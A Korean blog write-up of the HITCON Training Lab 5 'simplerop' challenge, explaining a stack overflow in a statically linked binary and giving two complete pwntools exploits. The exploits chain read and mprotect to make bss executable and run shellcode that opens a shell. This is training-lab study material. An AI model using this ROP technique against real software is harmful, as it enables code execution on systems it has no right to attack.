tmxklab
hitcon training [LAB 5] 본문
1. 문제
1) mitigation확인
statically linked 파일
2) 문제 확인
한 번의 입력 값을 받고 종료, rop관련 문제인듯 하다.(걍 문제이름이 simple rop이길레..)
3) 코드흐름 파악
3-1) main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h]
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
}
-
입력을 받는 v4변수는 [ebp-0x1c]에 위치하며 read함수에서 100bytes까지 입력을 받을 수 있으므로 bof가능
2. 접근 방법
dynamic linking방식과 달리 static linking으로 되어있으므로 공유 라이브러리를 사용하지 않고 실행파일에 라이브러리가 포함되어 있다.
1) system함수
위에서 bof가 가능한 것을 확인하였으니 system함수을 사용하기 위해 system함수가 존재하는지 확인해보자
-
elf파일에 system함수는 포함되지 않아 사용할 수 없는 듯하다.
system함수는 사용할 수 없지만 ret는 조작할 수 있으므로 쉘 코드를 삽입하여 쉘을 따기로 한다.
2) NX
하지만, NX가 걸려있어 쉘 코드를 삽입 시켜도 실행시키지 못하게 막아 프로그램이 종료됨
예전에 HackCTF문제를 풀다가 이거랑 비슷한 문제 있었음(아예 똑같나?)
→ https://rninche01.tistory.com/entry/HackCTFPwnable-Look-at-me
결론)
-
gets함수를 이용하여 쉘 코드 삽입(bss영역에)
-
mprotect함수를 이용하여 쉘 코드 삽입하여 실행시키는 곳 권한을 변경(실행시킬 수 있도록)
-
쉘 코드 삽입한 bss영역의 주소 값을 주어 쉘 코드 실행
3. 풀이
1) bss영역 찾기
bss영역 찾는 방법은 readelf를 이용해도 되고 gedb-peda에서도 찾을 수 있다.(objdump도 가능)
1-1) readelf($readelf -S "elf file")
1-2) gdb-pead($elfheader .bss)
-
bss영역은 0x80eaf80부터 시작하며 하위 3비트는 0으로 세팅되야 하므로 쉘 코드 저장하는 곳은 0x80ea000으로 할 거임 → 이거는 mprotect함수 사용할 때 쓰임
1-3) objdump($objdump -h "elf file"|grep bss)
-
두 번째 index에 위치한 부분이 vma의 값을 나타냄
2) gadget찾기($ROPgadget —binary "elf file" | grep ret)
-
이거는 밑에서 read함수랑 mprotect함수때 사용할 거임 → pppr(0x8052a03)
3) payload 구성
-
쉘 코드를 입력으로 받는 함수(gets함수는 존재하지 않으니 read함수 사용)
-
mprotect함수를 사용하여 권한 설정(물론 쉘 코드를 저장하는 영역 →bss영역)
-
call bss영역(쉘 코드 있는 위치
-
read함수나 mprotect함수는 3개의 인자를 받으므로 pppr 가젯을 구한다.
[ dummy(32bytes) ] + [ read() ] + [ pppr ] + [ 0 ] + [ bss ] + [ len(shellcode) ] + [ mprotect() ] + [ pppr ] + [bss ] + [ 0x8000 ] + [ 7 ] + [ bss ]
4) 익스코드
from pwn import *
p = process("./simplerop")
e = ELF("./simplerop")
#gdb.attach(p)
shellcode = asm(shellcraft.i386.linux.sh())
mprotect_addr = p32(e.symbols["mprotect"])
read_addr = p32(e.symbols["read"])
bss = p32(0x80ea000)
pppr = p32(0x8052a03)
payload = "A"*32 # dummy(32bytes)
payload += read_addr # 1. read(0, bss, len)
payload += pppr
payload += p32(0)
payload += bss
payload += p32(len(shellcode))
payload += mprotect_addr # 2. mprotect(bss, 0x8000, 7)
payload += pppr
payload += bss
payload += p32(0x8000)
payload += p32(7)
payload += bss # 3. call bss(shellcode)
p.sendafter(":", payload)
p.send(shellcode)
p.interactive()
5) 공격실행
4. 몰랐던 개념
위에서 직접 mprotect(), read()의 주소 값을 찾아서 rop를 하기 위한 payload를 직접 제작하였는데 pwntools에서 rop를 쉽게 사용할 수 있도록 제공해주는 기능이 있다. 익스코드는 다음 사이트에서 참고하였다.
참고 사이트 : https://koharinn.tistory.com/76
익스코드)
from pwn import *
p = process("./simplerop")
e = ELF("./simplerop")
rop = ROP(e)
shellcode = asm(shellcraft.sh())
bss = 0x80ec000
rop.read(0, bss, len(shellcode))
rop.mprotect(bss, 0x1000, 0x7)
rop.call(bss)
payload = "A"*32 + str(rop)
p.sendafter(":", payload)
p.send(shellcode)
p.interactive()
공격수행)
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 7] (0) | 2020.07.19 |
---|---|
hitcon training [LAB 6] (0) | 2020.07.19 |
hitcon training [LAB 4] (0) | 2020.07.19 |
hitcon training [LAB 3] (0) | 2020.07.19 |
hitcon training [LAB 2] (0) | 2020.07.19 |